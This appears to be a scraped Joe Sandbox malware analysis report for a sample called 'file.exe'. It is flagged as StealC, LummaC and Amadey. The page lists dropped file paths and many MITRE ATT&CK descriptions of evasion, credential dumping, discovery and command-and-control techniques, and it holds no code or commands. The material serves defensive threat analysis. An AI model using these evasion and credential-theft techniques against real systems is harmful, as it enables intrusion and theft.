Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\6QPF41LR0H1R83WBFIVMMOQHW.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\910S1Q63XQ87I6P4.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre